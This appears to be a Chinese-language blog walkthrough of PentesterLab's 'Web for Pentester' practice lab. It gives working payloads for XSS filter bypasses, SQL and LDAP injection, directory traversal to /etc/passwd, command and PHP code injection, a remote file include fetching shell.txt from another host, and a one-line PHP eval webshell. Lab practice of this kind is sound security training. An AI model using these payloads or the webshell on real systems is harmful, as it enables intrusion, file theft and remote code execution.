Web for Pentester
傳統漏洞之前學習過一段時間,但在實際工作中用的並不順手,我想找個系統點的靶場來進行練習,於是找到了Web for Pentester。
Web for Pentester是PentesterLab提供的靶場,ISO下載地址:Web for Pentester
平台主要包含如下漏洞:
Code injection (代碼注入) Commands injection(命令行注入) XSS(跨站腳本) SQL injections(sql注入) File include(文件包含) LDAP attacks(LDAP攻擊) File Upload(文件上傳) XML attacks(XML攻擊)
實戰
用netdiscover局域網查找靶機
使用 Nmap 掃描靶機端口
訪問靶機80端口
XSS
Example1
基本xss
<script>alert(/xss/)</script>
Example2
<script>和</script>被過濾,用大小寫繞過:
<scRipt>alert(/xss/)</SCript>
Example3
字符拼接方式繞過:
<scr<script>ipt>alert(/xss/)</scr</sCript>ipt>
Example4
script徹底屏蔽,換一個標簽:
<img src='' onerror="alert('xss');">
Example5
過濾了alert:
<script>prompt('xss')</script>
Example6
輸入放到script標簽里面了,自己構造腳本就好( \\ 是js的注釋符):
";alert(/xss/);//
Example7
雙引號換成單引號:
';alert(/xss/);//
Example8
還可以這樣
/"><script>alert(1)</script>
Example9
用到locaiton.has,DOM型xss。
/xss/example9.php#<script>alert(/xss/)</script>,理論上來說這樣應該可行,實際上不行,<>被編碼了,無法彈出alert:
hmm...查了一下資料,這里的編碼並不是咱們能控制的,與不同瀏覽器內部解釋機制有關。。chrome和firefox都會對<>編碼,然鵝,ie木有(這么看來ie不能卸!!)
<script>alert(/xss/)</script>
SQL injections
Example1
'or 1=1+--+
Example2
'/**/or/**/'1'='1
Example3
'/**/or/**/'1'='1
Example4
or 1=1
Example5
or 1=1
Example9
IF(1,name,age)
Directory traversal
Example1
../../../../../../etc/passwd
Example2
/var/www/files/../../../../../../etc/passwd
Example3
../../../../etc/passwd%00.png
File Include
Example1
/etc/passwd
Example2
/etc/passwd%00
本地包含木馬
/fileincl/example2.php?page=http://192.168.0.102/shell.txt
一句話PHP木馬: <?php @eval($POST['123']);?>
Code injection
Example1
".system('ls');//
php把獲取到參數拼接進$str變量,然后eval()函數執行php語句。沒有任何過濾,只要保證最后語法正確可以執行。
注: 注釋掉的代碼是我自己加上,你也可以自己加上,更直觀一點,下面默認都是加上的。
Example2
);}system('ls');//
usort() 使用用戶自定義的比較函數對數組進行排序。語法:usort(array,myfunction);
usort()經常與該功能create_function一起使用,以基於用戶控制的信息動態生成“分類”功能。如果Web應用程序缺乏有效的篩選和驗證,則可能導致代碼執行。
Example3
system('ls')&pattern=/lamer/e&base=Hello%20lamer
preg_replace()函數:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 進行替換。
Example4
'.system('ls').'
看到assert函數就要警惕了,和eval函數都是一句話后門程序。區別在於eval函數中參數是字符串,assert函數中的參數是表達式或者是函數。
trim() 函數移除字符串兩側的空白字符或其他預定義字符。
htmlentities() 函數把字符串轉換為HTML實體。
Commands injection
Example1
127.0.0.1 | cat /etc/passwd
Example2
%0A cat /etc/passwd
Example3
|uname+-a
LDAP attacks
Example1
發送空值,LDAP服務器會繼續綁定鏈接
Example2
Example2的后端源代碼,需要傳入兩個參數一個是name另一個是password,password由於在傳入后被md5加密,所以基本不能注入,所以這里我們考慮name
LDAP經常使用通配符*字符來匹配任何值。還有需要注意的就是和別的注入相似我們也需要注釋掉后面沒用的代碼,ldap可以使用NULL BYTE(即%00)來注釋掉后面的代碼。
下面我們就通配符*做一個簡單的測試:
username=hacker&password=hacker 得到認證(這是正常的情況)。
username=hack*&password=hacker 得到認證(通配符匹配相同的值)。
username=hacker&password=hac* 沒有得到認證(密碼可能會被md5、hash加密過)。
a*)(cn=*))%00password=aaa
File Upload
Example1
可以直接上傳文件
Example2
不允許上傳php后綴文件,這里可以把后綴改為test
XML attacks
Example1
Example2
hacker ' or 1=1']%00